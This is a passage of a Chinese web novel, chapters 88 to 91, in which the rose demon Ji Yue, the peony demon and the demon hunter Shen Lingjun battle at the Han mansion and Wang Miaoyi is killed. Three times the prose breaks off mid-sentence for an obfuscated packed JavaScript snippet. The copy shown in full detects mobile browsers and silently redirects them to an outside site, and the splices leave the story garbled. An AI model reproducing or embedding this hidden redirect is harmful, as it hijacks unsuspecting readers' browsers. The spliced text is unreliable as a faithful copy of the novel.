熬得太慢可不成。新夫人还等着用早膳呢。 88. 执手两心同(五) 季月的梦境纷乱古怪,妖界的腥风血雨穿插着人间的愁云惨雾,一时梦见自己手持斩妖剑,在绿牡丹身上捅了个窟窿,一时梦见自己沉到镜湖底,沈灵均慌慌张张地跳下来要拉她上去,她明明瞧见了他,却故意躲开了。一时梦见自己攀上浮玉山顶,看羲和架着日车经过天空,三足金乌尾随在后。羲和突然变成了王妙仪的模样,太阳也变成了十个。周身热浪滚滚,花瓣和叶片寸寸龟裂,王妙仪从车里探出头,拉开宣纸做的巨弓,向她射出一支燃烧的毛笔。 毛笔飞近,变作一支火箭,刺入前胸。 季月猛地惊醒。 眼前烟雾弥漫,气味呛鼻,自己当真置身火焰之中!柴火堆毕波作响,冒出一股股白烟。 季月有五百年道行,普通的火焰伤不到她。但草木一系,遇火总是难受至极的。她心中悲苦,非但不逃离此处,反而翻身躺平,和老天赌起气来。 她倒要看看,自己究竟能倒霉到什么程度。 大厨叉着腰,用一只大铁勺搅拌银耳莲子羹,不时舀一勺尝味道,还满意地砸吧嘴。那羹的香气越发浓郁,简直叫人垂涎欲滴。 大厨盖上锅盖,自言自语,“再煨半个时辰,便成了。” 季月也不管身上痛痒,塞起耳朵,置之不理。 大厨转身做糕点去了,厨房里回荡着面团摔打声、刀切案板声。 季月躺在火里,迷迷糊糊,觉得体内有什么东西融化、蒸发,变作一股轻烟,永远地离开了她。 外头蓦地传来狗吠。 两只狗头伸进火堆,其中一只一口叼住季月,拖了出来。 狗毛被火燎到,顿时焦黑。双双疼得呜呜哀鸣,却不肯松口。 厨子惊跳起来,“哎哟!两只头的狗!哪里来的妖怪?!” 他平素宰鸡宰鸭惯了,见到怪兽,比一般人勇猛些,抄起菜刀,欲把多出来的那颗狗头砍掉。 双双转身就逃,厨子提着刀猛追,四条短腿和两条长腿竞相奔跑,横穿庭院,惊动了丫鬟仆妇洒扫浇花的一众人等。 厨子提着刀大吼,“妖孽休走!” 双双被逼到假山顶上,无处可逃,纵身一跃。 眼看就要落入厨子掌握,一阵清风忽起,将它卷走了。 厨子瞪着眼睛团团转,“狗呢?狗去哪儿了?” 粉墙黛瓦,庭院深深,到处都不见它的影子。 众人围拢过来,议论纷纷。 “哪里有狗?怕不是你睡迷糊了。” “放屁!老子看得真真的,那狗有两个脑袋,一身白毛,满嘴尖牙。” “那不成妖孽了?” “去请少爷,少爷会捉妖!” “少爷……只怕还没起呢……” 众人相互看看,心照不宣地压低了声音。 “少爷和新夫人像两根藤蔓,缠在一起,一刻都舍不得分开呢。” “新夫人天人之姿,难怪少爷被勾了魂去。” “好啊,你敢编排少爷!” 人群中响起一片暧昧的笑。 厨子可没有笑,跺着脚骂,“你们这些人不知轻重。我去叫少爷!” 他提着刀,风风火火地走了。 等人全部散去,屋檐上才传来一声微弱的狗叫。 纤长的手指松开狗嘴,轻柔地摸了摸狗头。狗摇着尾巴,一个劲地往熟悉的怀里拱。 季月长叹一声,喃喃道,“双双,没想到是你来救我。” “汪汪汪!你别死!” “……我没想死。你怎会跑来?” “汪!有香气!” 季月明白了。灶火虽然伤不到她,却把月季枝条烤得冒油,香气飘了出来。狗鼻子灵。两只狗鼻子加起来,更灵。在银耳莲子羹的香味中,居然还能分辨出若有若无的月季花香。 她被叼走时吓了一跳,见双双被追得走投无路,不自觉地使出法力,飞上屋顶,变回人形。 低头一看,双手肌肤如白玉无瑕,十指指甲鲜红,身上的红衣完好无损,汁液流淌畅通无阻。 原来颓废了几日,身体竟自行复原了。几百年的架打下来,疗伤已成本能,苦修得来的澎湃妖力不允许她自暴自弃。 沈灵均才不会来救她。是她救了自己。五百年来,一直如此。 她本也不需要别人来救。 想通了这一层,胸口顿时一轻,像移开了一块大石头。 之前钻进牛角尖,着实可笑。不过是和捉妖师打架,输了一场,下次遇到,赢回来就是了,何故伤心至此? 堂堂大妖被当柴烧,让绿牡丹知道了,能讥笑她一千年。 自己当真是中了邪。 双双趴在她膝上流口水,烧焦的毛被口水浸着,黑色已褪去大半。 季月低声道,“看来你我有缘,都是打不死的妖。” “汪汪汪!” 季月摸摸自己的脸,肌肤光洁,伤口已经愈合。不知容貌有没有变化,想掏出镜子照照,蓦地想起,铜镜还在绿牡丹手中。 她望着脚下屋瓦,默默出神。 院中鼓噪起来,下人们拥着韩思年和王妙仪,声势浩大,匆匆赶来。 韩思年提着剑,四下一望,问道,“妖在何处?” 众人皆是一愣,少爷不是拜了师么?怎么连妖的踪迹都找不出来? 王妙仪眼中闪过精光,向屋顶一指,“在那儿。” 韩思年抬起头,脸色陡变,“季姑娘?” 红影一闪,屋顶只剩一株鲜妍的月季花。 韩思年拼命地揉眼睛。奇怪,他刚才明明看到季姑娘了。多日不见,她怎会突然出现在韩府? 王妙仪叫道,“那是我从娘家带来的花!” “啊?你带的不是一节树杈子么?” “枯枝开花了,快去把她弄下来!” 厨子蓦地大喊,“狗!狗在花后头。” 两只狗头从花苞后升起,一左一右,冲他龇牙。 厨子声音打颤,“少爷!那狗有两个头!” 韩思年挥挥手,“不打紧,狗原本就有两个头。” “啊?!” 众人瞠目结舌,都不敢相信自己的耳朵。知道少爷新婚燕尔,心中欢喜,难道竟欢喜疯了? 王妙仪勾勾手指,一阵清风托起狗和花,双双落入她怀里。 她一手掐住狗头,一手掐住花,转身面向众人,悠然道,“少见多怪。狗生双头,是吉祥之兆。” 众人与她目光相接,表情渐渐由惊异转为平静,又由平静转为崇敬,齐声应道,“吉兆!吉兆!” 王妙仪回到房中,将月季花塞回花盆。双双从她怀中跃下,躲到角落去了。韩思年细看那花,当真是娇美欲滴,艳色逼人,连声感慨,“昨日还是枯枝,今日便长成这样。若非亲见,谁敢相信?” 王妙仪剜了花一眼,强行扳过韩思年的脸,“有我在此,不许看别的花!” 韩思年嘴都拧歪了,口齿不清道,“娘子你是人,何必与一朵花争风吃醋?” 空气中传来一声冷笑,极轻,却像只恼人的蚊子钻进王妙仪耳中。 王妙仪道,“信不信我把她的花瓣一片片摘下来泡茶?” 韩思年哈哈大笑,“上品饮茶,极品饮花,娘子果然是极品人物!” 王妙仪不依不饶,伸手就要掐花,刚靠近盆边,却被一股凛冽的气流挡开了。手指剧痛,如被针扎。 月季花瓣微微摇动,似在嘲笑。 她眼中神色变幻几轮,不甘不愿地垂下手。 是夜无星亦无月。芙蓉帐暖,红烛滴泪。韩思年把锦被踢到一边,睡得四仰八叉。 他娘子不知所踪,花盆中亦是空空如也。 韩府宗祠屋顶,二妖一着红裙,一着绿衣,斗得正酣。 季月以飞花作刃,串串花瓣连成一条尖利的红线,围着绿牡丹飞舞。绿牡丹甩动枝条,如长蛇般四面夹击。 二妖斗了近百年,对彼此的招数熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季月幽幽道,“上回也不知是谁被火烧。” “那次是你和我捣乱,害我分神。这次我们联手,必能打他个粉身碎骨。小丫头,哭什么?不许哭!” 季月道,“你要打他随你,我两不相帮。” 绿牡丹瞪起眼睛,“你几时变得这么怂包?” “他与妖势不两立,我们不可能和好。即便把他嚼碎了吞下去,也无甚乐趣。倒不如相忘于江湖。我如今已不太难过,再过些时日,恐怕会忘记怎么变枯枝。若在斗花大会上不慎开出花来,抢了你的风头,可不大妙。” 最后一句明摆着是威胁。绿牡丹沉下脸来,举棋不定。 独斗沈灵均,她没把握,否则早在沈府就发难了。月季肯服软,是千载难逢的机会。但就此离去,又不甘心。 两道修长的身影立于屋脊之上,像两尊巨大的脊兽,无声对峙。 约莫过了一盏茶的功夫,绿牡丹终于开口,“月季,你知道我为什么追着你打吗?” “……算我倒霉。” “你本事没我大,却倔强得很,从不服输。跟你打架,痛快之极。” “你是痛快了,我倒觉得无谓之极。” 她从前不肯低头,如今被彻彻底底羞辱一场,才发觉低头并不是什么难事。 绿牡丹邪魅一笑,“回妖界以后,咱们各出全力打一场。” 顿了顿,又道,“我保证不吃你。” 季月心想,只要能拿回铜镜,多打一架又有何妨。 “成交!人间没什么可留恋的,这就走吧。” 绿牡丹喜笑颜开,从怀里掏出铜镜,手举到一半,突然停住。 两道新月眉高高扬起,对着空气道,“小丫头,你说什么?” 89. 执手两心同(六) 南安县习俗,婚后三日,新娘携夫婿回门。回门礼成,这门亲事算是得到两家最终首肯,尘埃落定。这日,韩、王二人天不亮就起床,整装梳洗毕,拜过韩家二老,携着两大箱子礼物,同乘一车,前往沈府。 韩母听着马车远去,心中快慰难言,自家这个任性骄纵的儿子,终于长大成人了。 车厢之内,夫妻俩却心事重重。王妙仪不停地搓着衣角,韩思年一言不发。马车颠簸,两人的肩膀撞在一起。 王妙仪哎唷一声,韩思年如梦初醒,“娘子,痛不痛?我替你揉揉。” 王妙仪拨开他的手,郑重问道,“夫君,你到底喜欢我哪一点?” 韩思年摸不着头脑,“怎么这时候问这个?” 王妙仪秀眉微蹙,低声道,“再不问就来不及了。” 韩思年会错了意,宽慰道,“你我已是夫妻,沈大人再不近人情,也不能拆散我们。” “我不是担心表哥……过了今日,我在夫君眼中,就不是现在的模样了!” 韩思年笑道,“不过是把头发梳了上去,无损于你的天姿国色。” “你懂什么!” 魅术消失,改变的岂止是容貌。韩思年迷恋的是绿牡丹,等附身解除,他会不会立刻变心,弃她如敝履? 她被花妖附身多日,终于有了转机,绿牡丹愿意主动离去。可她这一走,会不会把这份刚萌芽的感情一起带走。 王妙仪在两难之境挣扎多日,如今情势所逼,不得不做决断了。 她柔肠百结,眼中渐渐蓄起一汪泪,“夫君,你要答应我,永不变心。” 韩思年慌忙替她擦掉眼泪,“别哭,我答应就是。娘子就算要天上的星星,我也给你摘下来。” 王妙仪靠在他怀里,见到他眼中迷恋之色,心中忧虑更甚。 韩思年抚着她的头发,长叹一声,“不怪娘子忧心,我一想到要见师父,肚子就抽筋。他教的那些剑招和法器的用法,三日不练已忘了大半,一会儿考校起来,只怕要挨打。” 王妙仪没料到他在担心这个,仔细一想,确实不无道理。 “天一道长最爱打人了,不光打,还拿刀砍。我表哥能活到现在,算他命大。我看这捉妖不是什么好差事,你既学不会,就放弃了吧。” 韩思年想起自己上回带着衙役,围堵金蟾的壮举。逞一时气血之勇,虽未抓住金蟾,却也着实威风了一把。 “娘子此言差矣,捉妖可比读书有意思多了,好不容易拜了师,怎能轻言放弃?最多师父责打之时,我躲得快些,免得你心疼。” 王妙仪还想说什么,却被一个吻堵住了。 她挣了两下,被搂得更紧,百感交集,又落下泪来。 美人含愁,梨花带雨,别有一番风姿,看得韩思年心荡神摇,不能自己。 车辙压过青石板路。沈府近在眼前。门口却连个迎接的人都没有。 进到院中,更是冷冷清清,先前演练法器造成的破坏仍在。地上坑坑洼洼,仆从按吩咐留在外面。 进入大厅,沈伯睡眼惺忪的迎出来。见到二人,惊道,“小姐,姑爷,你们怎么回来了?” 王妙仪道,“我还要问沈伯呢。今日回门,人都去哪儿了?” 沈伯一拍脑门,“婚仪已过去三日了?怪我这糊涂脑子,忘得精光。” “是不是家里出什么事了?” “唉……你出嫁当晚,少爷和道长就闭关了,到现在还没出来。” 王妙仪脸色一白。 “他们发现妖了?” “好像不是。我听道长说什么屏障不稳……” 王妙仪疑惑地看向韩思年。他摇摇头,“那是何意?我也不知。” 沈伯道,“小姐姑爷先坐,我让厨房准备些点心。这几日大家浑浑噩噩,有一顿没一顿的。” 又压低声音,“我去书房敲敲门,没准少爷就出来了呢。” 回门礼不是小事。若耽误了,小姐起码发一个月脾气。沈伯觑了韩思年一眼,暗中为他捏了把汗,快步走了。 王妙仪坐在素日坐惯的椅子上,低头想心事。 韩思年喝了两杯冷茶,没心没肺地乐道,“道长若不出关,我又能逍遥几日。这真是意外之喜。” 夫妻俩枯坐了半个时辰,沈伯还没回来。 韩思年百无聊赖,拿起一副绊妖刺,在手里把玩。 王妙仪忽道,“我们回去吧。在这儿待久了,恐生事端。” “时候还早。” “表哥不把我放在心上,我也不必留在这里讨嫌。” 她一生气,韩思年自然不敢违拗。 两人刚走出大厅,迎面见到沈灵均和沈伯一前一后快步走来。 王妙仪不过几日未见表哥,看到他的样子,却吓了一跳。 原本潇洒的面庞笼罩着一层黑气,两颊深陷,嘴唇发紫,形容憔悴,好像大病一场。 “表哥,你这是怎么了?” 沈灵均挤出一丝笑容,“妙仪回来了。韩公子。不巧府中有急事,怠慢了。” 短短几句话,说得有气无力。 韩思年道,“可是师父有事?弟子愿效犬马之劳……哎哟!” 话没说完,被王妙仪掐了一下。 “表哥,妖不抓也罢,你保重身体要紧!” “孩子话。” “我不是孩子!我已经成婚了!” “恭喜。” “……” 王妙仪看着他憔悴的样子,心中一软,此前诸多怨气都烟消云散。他们毕竟从小一起长大,相依为命,她不能坐视他受苦。 她柔声道,“从前你每次受了伤,都是我逼你喝补药,把元气养回来。以后我不在府中,谁来照顾你?” 沈灵均明白她心意,苦笑,“那些补药,不喝也罢。” 王妙仪焦急之下,随手从怀里掏出一面镜子,放在他眼前。 “你自己看看,都憔悴成什么样了?” 沈灵均见到那镜子,突然神色大变,眼神发直,一把夺了过来。 他翻来覆去查看镜面质地、背后花纹,手抖得越来越厉害,突然吼道,“这镜子是哪来的?!” 王妙仪吓了一跳,呆在原地,耳中嗡嗡乱响。 韩思年慌道,“可有什么不妥? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247146|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 沈灵均一时连气都透不过来,“不妥……不妥……这是她的镜子!” 这面镜子季月从不离身,沈灵均见过几次,推测是件要紧的法器,季月就是靠它往来人间和妖界。 那天他打晕季月,搜出镜子,想强行送她回去。可他不知口诀,无法开启铜镜。无奈之下,只得将它留在季月枕边,盼望她醒来后心灰意冷,自行离去。 后来他回去查探,见屋舍寂寂,满园月季花只剩灰烬,妖气全无,便笃定她已经走了。虽然此后再难相见,注定一世伤心,也好过眼睁睁看她死在天一道长手下。 可如今铜镜仍在。也就是说,她还在人间! 沈灵均额头青筋暴起,抓住表妹肩膀逼问,“这镜子在哪儿捡到的?说!” 王妙仪嘴唇颤抖,一个字都说不出来。 韩思年见沈灵均迹近癫狂,怒道,“放手!妙仪的东西都是从韩府拿的,有什么事冲我来!” 沈灵均转过头,目露凶光,“韩府?好!” 他一阵风似的飞掠而去,斩妖剑背在身后,转眼就越过院墙。 王妙仪身子摇晃,额头汗水涔涔而下,喃喃道,“坏了……坏了……” 烈日当头,脚下一排排房屋飞速后退,沈灵均耳中却什么都听不见,唯有血液冲击的嗡嗡声。他和天一道长闭关三日三夜维持屏障,通宵达旦地运功,体力已耗到极限。急火攻心之下,竟然想不起韩府在何方位,胡乱走出好远。 强自镇定心神,闭目感应片刻,鼻端传来一股熟悉的气息。这妖气澎湃汹涌,盘桓南安县将近一年,起初令他头疼不已,后来令他刻骨铭心。 季月从不懂得隐藏气息,正如她虽化人形,却从不懂得作伪,说话行事直接又坦荡。 她何曾骗过他,一直以来都是他机关算尽,却算不出两全其美的结局。 沈灵均愣了愣神,转身循着妖气而去。 韩府花园中,韩母带着众丫鬟,正在赏玩一株娇艳欲滴的月季花。花瓣鲜红,花冠舒展,虽被暴晒,却毫不畏缩,迎风摇曳,像是要与日光正辉。 韩母啧啧称赞,“到底是水葱般的人儿,调养出来的花也这么水灵灵的。” 边上小丫鬟凑趣道,“少夫人固然巧手,也要仰赖韩府的水土上佳,来的时候还是枯枝,一夜之间,就开得这么好了。” 韩母笑眯眯,“我们韩家今年当真福气临门,少爷娶了这么个天仙般的娘子,老爷眼看又要升官。” “是夫人平日里行善积德,多有福报。” “就你嘴甜。喏,这镯子赏了你了。” 四周响起一片谢恩称颂之声。 双头天狗在韩母怀里翻了个身,浑身的白毛都晒得发热。韩母像哄小孩似的,一下一下拍着狗头。 “日后生了小少爷小小姐,就让你陪他们玩。” 天狗汪了一声,表示同意。 季月在花盆里如坐针毡,又不好在众目睽睽之下拔出根系,一走了之。 虽然韩府众人受了绿牡丹的蛊惑,已经深信天下的狗都有两个头,并视为吉兆。但见到自行走路的花,多半还是要喊打喊杀的。 90. 执手两心同(七) 原本这个时候,季月和绿牡丹已经回归妖界,在具区泽畔开打了。偏偏王妙仪多事,要绿牡丹多留半日,过了回门礼再走。 这姑娘被绿牡丹附身太久,竟然难舍难分了。季月又惊又奇,极尽嘲讽。结果绿牡丹转述王妙仪的话,说只要你不从中作梗,之前你勾引我表哥的事,可以既往不咎。 季月痛斥她中了邪,为了讨好丈夫,甘愿被妖上身。话音未落,忽然醒悟,自己不也一样,为了沈灵均奔波劳碌,穿梭两界,最后落得个遍体鳞伤的下场。 原来坠入情网等于中邪,不论是人是妖,都无法摆脱。 她生出同病相怜之感,心一软,答应再等半日。随即变回花身,回盆里蒙头大睡。这一觉睡得香甜,再醒来时,就已身处艳阳之下,被韩府众人围观了。 也不知是哪个多事的丫鬟把她搬出来的。 季月眯着眼睛打量一圈,猜测可能就是那个口齿伶俐的小丫鬟。她是韩母派去服侍少爷少夫人的,此时得了镯子,笑得嘴都合不拢。 季月一声呼哨,天狗从韩母怀里起身,朝丫鬟扑过去,一口咬住镯子往外拖。一时间人仰狗翻,笑声叫骂声响成一片。 季月满意微笑。 花冠的影子投下来,形状短圆,刚好盖住枝条。她心里嘀咕,这天已过去了一半。王妙仪怎么还不回来。 刚念及此,外面轰然一声巨响,大门倒塌,一道冷入骨髓的声音传来,“神巫署捉妖,闲杂人等退避。” 季月浑身的汁液都凝固了,也不知怎的,第一反应竟是埋进土里躲起来。 他上次没下杀手,不甘心,又来赶尽杀绝了! 沈灵均来得好快,转眼已长驱直入,冲进花园。凛冽的目光扫过众人,定在空空如也的花盆上。 韩母怫然不悦,“素闻沈大人乃端方君子,怎么来走亲家,竟不懂得敲门?” 沈灵均面沉似水,看向双头天狗,它浑然不知危险,正趴在韩母脚下,来回舔那镯子。 “贵府有妖,夫人不知么?” “妖?哪来的妖?” “这狗有两个头。” 众人齐声道,“天下的狗本就有两个头啊。” 沈灵均懒得和他们废话,拔剑一挥,剑锋中荡出一片光网,将整个花园笼罩其中。金光极盛,衬得日头都黯淡几分,网中金线如蛛丝般游走,触及天狗时蓦地收紧,将它肚腹勒住,倒悬空中。 天狗嚎叫挣扎,口一张,镯子掉在地上,摔成两半。 众人又惊又怕。眼看另一根金线触及花盆,正待收拢,边上一个丫鬟眼明手快,一把抢走花盆,抱在怀里。 她声音清脆质问道,“这是少夫人心爱之物。一朵花又碍着你什么事了?” 沈灵均额头青筋跳了跳,挥出一掌。平地起狂风,韩府众人,连同桌椅板凳,点心茶杯,团扇香炉全都被卷上半空,跌在十丈之外。 唯有花盆纹丝不动。哭爹喊娘声中,泥土轻轻颤动,一朵鲜红的月季花长了出来,越变越大,须臾,变作一个红衣女子,色若朝霞,脸有怒意。 季月动动手指,把天狗解救下来,抱在怀里。 沈灵均眸色幽深,“你终于肯现身了。” 季月心中一酸,“沈大人,非要赶尽杀绝吗?” “人妖不能共存。” “哼,王妙仪呢?” “她怎么了?” “你不妨去问问她,人妖能不能共存。” 沈灵均想不明白,也无暇再想,举起剑喝道,“执迷不悟!” 然而这一回是季月抢得先机。她劈手在空中一划,只听尖锐至极的爆响,金网从中裂成两半。一股大力将沈灵均击飞,撞在院墙之上。 他以剑撑地,背脊起伏,低着头,嘴角渗出一丝血。 季月看得真切,他擦掉血迹时,还莫名其妙地笑了一下。 他竟还在嘲笑她! 妖的凶性终于被激发出来,季月再不手软,枝条挥舞,叶片如刀,飞花作刃,通通往沈灵均身上招呼。 沈灵均铁青着脸,举剑格挡,屠龙剑法从头使来,剑光霍霍,牵动金网前后夹击。 每一招都试图拉近对方,痛打一顿,留下些永久的伤疤。每一招也在把对方推得更远。 一人一妖旗鼓相当,势均力敌,各出全力相斗,更不顾忌其他,直打得飞沙走石,天崩地裂,房屋倒塌,院墙倾颓,园中花木尽毁,偌大一个韩府,惨遭横祸。 韩母摔在地下,见到这景象,幡然醒悟,府中确实有妖。 下人们但凡还能动弹的,早就远远逃开了。剩下的缩成一团,瑟瑟发抖。 季月打得兴起,眼中渐渐泛出红光,沈灵均的眼睛竟也红了,脖子上血管凸起,隐隐透出黑气。 季月一怔。她从未在一个人眼中看到这么深的痛苦。 “若肯认输,便饶你一命。” 沈灵均冷笑,“做梦!” 他避过一根迎面扫来的枝条,掏出引火符。季月咬牙。这火焰何等厉害,曾把妖身的绿牡丹烧个半死。他这样做,是决意要置她于死地。 她飞身引开剑招,几根粗壮的枝条合拢,痛击沈灵均胸口。枝条上带刺,顷刻间将他衣服前襟捣得粉碎,露出胸口肌肤。 只见一根血线自心口而出,蜿蜒成五瓣梅花形状,其中四片花瓣完整,唯独最后一片尚缺一角。待梅花长全,便是血咒发作之时。 沈灵均心口像被大铁勾划过,剧痛难当。身后响起一道惊惶的声音,“表哥!” 季月停了手,沈灵均亦转过身。 王妙仪冲在前面,绣鞋踏过残破的光网,扑到表哥身上,哭喊,“你究竟是怎么了?” 韩思年气喘吁吁地跟来,满头大汗,一脸焦急。 距离五步远,他突然僵住,眼睛定在妻子身上。 只见金色丝线如活了一般,在王妙仪身上合拢,从一个美人体内,抓出另一个美人来。 那美人肌骨丰盈,活色生香,顾盼流转之间,把人的魂都勾了去。 韩思年认得她,正是她让他在镜湖畔失了神智,丑态百出,剑捅沈灵均,丢尽了韩家的脸。 可她怎么会从妻子身体里出来?! “绿……绿……” 绿牡丹妩媚一笑,捏起嗓子模仿王妙仪的声音,“夫君,终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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绿牡丹哪里忍得这般奇耻大辱,抛下沈灵均,朝韩思年俯冲下去。 韩思年慌忙后退,不慎绊了一跤,摔在地上。绿牡丹伸手来抓,当此危急关头,天一道长所传授的剑招突然像活了一样,清晰地浮现在眼前,韩思年手忙脚乱地拔出配剑,反手疾刺绿牡丹心口。 他这三脚猫的功夫,当然伤不了绿牡丹,却激起了她的好奇心。她忽前忽后,不住挑逗韩思年,引他出手。 王妙仪呆呆地看着丈夫与妖相斗,一颗心悬在半空,不知是喜是忧。 沈灵均少了一个对手,刚缓过一口气,着火的枝条就如疾风骤雨一般袭来。眼看季月动了真怒,围着他痛殴,心中焦灼反而渐渐平息。 血咒行将发作,通道屏障不稳,左右是个死,若能死在她手里,倒是个不错的结局。 他略一恍神,不慎被火燎中,铜镜从怀里甩了出来,在空中划过一道长长的弧线。 季月眼尖,飞身来抢,偏偏斜刺里伸出一只狗头,一口叼住镜子就跑。 91. 执手两心同(八) 季月大叫,“双双!回来!” 天狗却不听指挥,背毛倒竖,向假山废墟间逃窜。 铜镜在狗嘴中跳跃,反射的亮光猛地刺入沈灵均的眼睛。 他闭眼挥出一剑,正中假山,随着惊天动地的爆炸声,石头碎成灰烬,尘土遮天蔽日,粉末簌簌而下。 周遭再没有别的声息。 季月一甩袖子,吹开石灰,待看清脚下情形,蓦地僵在半空。 天狗的一个头掉在外围,双眼惊恐地瞪着。另一个头在一丈开外,支离破碎,血肉模糊。弯曲的长舌头断在地上,像一截腐烂的山楂条。筋骨粉碎,混入石灰,难以辨认。只余染血的毛发,这里一撮,那里一撮,触目惊心。 悲伤像潮水般涌来。是她把双双带来人间,想让它为天一道长疗伤。如今想来,这念头实在天真可笑之极。若是留它在妖界,它也不会死得这样惨。 它再也不会冲她汪汪叫了。再也不会冲进火里,把化作枯枝的她叼出来了。再也不会浇她一头一脸的口水,替她疗伤了。 怒意直冲头顶,季月眼珠通红,一掌挥出,“它只是喜欢玩镜子!它有什么错?!” 石灰如瀑布般浇向沈灵均,转眼埋住他半截身子。 漫天火光中,季月俯身捡起狗头,呼吸又是一滞,地上相隔几尺,闪动着两团火光。 那映出火光的铜镜,已碎成两半! 她手指颤抖着捡起碎片,拼在一起,念动口诀。可不论正着念,反着念,镜子都一动不动。 它已经死了。像天狗一样,死在沈灵均剑下。它是她用全部家当换来的,是回妖界的唯一希望,如今被他亲手毁了。 季月回过头,眼中溢出滔天恨意,身体不断拔高伸长,衣服之下,血肉化为褐色枝条。沈灵均奋力从灰烬堆里爬出来,见她如此,先是一呆,待看到她手中铜镜碎片,脸色也变得煞白。 尖啸声中,巨大的月季枝条将他拦腰卷起,向地上重重摔打。 绿牡丹忙着挑逗韩思年,突然听到尖啸,一扭头,见月季现出妖身,喜道,“动真格的了?” 她正欲加入那边的战团,韩思年却大叫,“恶妖休走!”,一剑刺入她后心。 剑尖入体,犹如刺在水中,毫无阻碍。韩思年心中一喜,却看到绿牡丹混若无事地飘开了。剑身干净如新,连她的衣服都没刺破。 绿牡丹微微着恼,这人像个苍蝇似的,围着她打转,虽不构成威胁,却着实讨厌。一瞥眼,见王妙仪站在半截墙根下,正伸长了脖子观战。 她有心耍弄韩思年,便轻飘飘地飞过去,附在王妙仪身上。这具躯体她用了一月,熟悉至极,就像穿上一件合身的旧衣。 她娇嗔道,“恶妖?我可是你的新婚娘子啊。” 韩思年杀红了眼,大叫一声,蓄起全身力气,一剑刺中她心口。 这回却不像刺在水中,剑身遇到切实的阻力,殷红的鲜血喷涌而出。 韩思年一个激灵,猛然觉得不对劲。 惊惶抬头,对上一双痛楚的眼睛,千般柔情,万般幽怨,都随珠泪滚滚流淌。 樱唇微张,像要说些什么,却没发出声音。 绿牡丹毫发无损地飘出来。 王妙仪手捂着剑身,直挺挺地倒下。 她倒下的一瞬间很长,韩思年清楚地看见她柔弱的脊背撞在瓦砾上,衣料沾染了尘土,泪珠坠下眼睫,如同划过寒夜的流星。 他扑过去,抱起她,“娘子,你怎么了?” “痛……” 他手忙脚乱地按住伤口,“没事了,我把妖杀死了!” “我……不是故意骗你……” “你何曾骗过我?我们走,去找薛神医治伤!” 王妙仪心中大慰,“你真的当我是你娘子……” 韩思年目光所及都是鲜血,双手抖个不停,“这血怎么一直流啊!沈大人!沈大人快来救命!” 沈灵均被掼在地上,五脏六腑都不在原位了,听到求救声,硬撑着爬起,才发现表妹躺在血泊之中。 季月遥遥望见王妙仪胸口插着一柄剑,惊呼,“韩思年,你做了什么?” 绿牡丹飘在半空,脸色阴沉,“辣手杀妻,好一个狠毒的人。” 王妙仪神志昏沉,倒不觉得如何疼痛了,迷迷糊糊地看到沈灵均向自己跑来。 从前都是表哥受伤,她来照料。现在她受了不得了的重伤,该让他照料一次了。 她看到自己短短十八年的人生走马灯似的从眼前闪过,有点荒唐,又有点圆满,吐出最后一口气,“表哥……” “我在这里!妙仪?” 没有回音。清亮的眼瞳定格在烧红的天际。 沈灵均狂乱地抓住她的手,试图输送功力,可她的掌心还是无可挽回地凉了下去。 韩思年哀痛欲绝,仰天狂吼一声,朝绿牡丹直冲过去。 绿牡丹桀桀怪笑,“来得正好!” 高大的妖身耸立在韩思年面前。枝条下击,正中他头顶,他哼都没哼一声,像一团软泥般瘫倒在地。 沈灵均放开王妙仪的尸身,咬牙起身,怒吼道,“休得行凶。” 剑光火光交错,他又和绿牡丹斗在一起。 季月扫视周身惨状,只觉得心中一片空茫,无所归依。 曾经亲密的,视若仇敌,曾经在乎的,尽数毁去,无辜者横死,残暴者行凶,双方针锋相对,不死不休。 这又与妖界何异。 人间绝非乐土,而是炼狱。 前尘往事涌上心头,想得入了神,忽觉世界不过虚像,一切俱是徒劳。刻骨爱恨,皆化作梦幻泡影。 绿牡丹和沈灵均打架的巨响好像隔了一层,从很远的地方传来。 一人一妖打架,又与她何干。 季月恍恍惚惚,抱起天狗的一只脑袋,独自离去。 韩府大乱早就惊动了百姓。众人都涌向城东瞧热闹,往西走,道路清净,寂无人声。 残阳如血,挂在柳树梢头,染红半边天空。几只乌鸦啼鸣着飞入霞光。 季月不知不觉地变回人身,沿玉川疾行,拐进清河街,推开沈府大门。 下人问询,她理也不理,长驱直入,走向书房。 推门不动。禁制犹在。 季月呼地一掌,击在门上。 她掌中有排山倒海之力。打到第五下,半边大门豁然洞开。 书房里光线昏暗,满地狼藉,道卷、秘籍、法器扔得到处都是,像被强盗洗劫过一样。 房间深处一点孤灯如豆,映出一个盘腿打坐的身影。 季月缓步走近,全神防备。 半个月不见,天一道长的背更弯了,稀疏的白发已拢不成发髻,凌乱地散在肩头。 他仿佛没注意到季月,全神护持头顶的屏障。 那是一张绵密的金网,比沈灵均方才所使的大上十倍,边角固定在青龙、白虎、朱雀、玄武四象柱上,金线交错如蛛丝,光华流转,越靠近中心越稀疏,有些地方还破了洞。 金网上方有一团黑云,弥漫着浓重的妖气。 季月眼睛一亮。她猜得不错,这里有条通往妖界的通道。 草妖猜到,却进不来。蛟龙很可能知道。至于沈灵均,他一向知道,却不露一丝口风,当真是心机深重。 季月更不废话,抱着双双的头上前,厉声道,“让开。” 